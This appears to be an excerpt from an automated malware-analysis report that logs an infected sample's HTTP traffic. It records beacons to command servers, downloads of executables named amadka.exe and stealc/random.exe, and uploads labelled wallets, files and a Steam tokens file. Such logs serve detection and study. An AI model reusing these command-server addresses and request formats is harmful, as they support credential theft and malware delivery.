Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"wallets------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"files------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file"------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"jbdtaijovg------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 43 39 36 36 38 33 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"660C966839272029741119------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"default------FIIIIDGHJEBFBGDHDGII--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
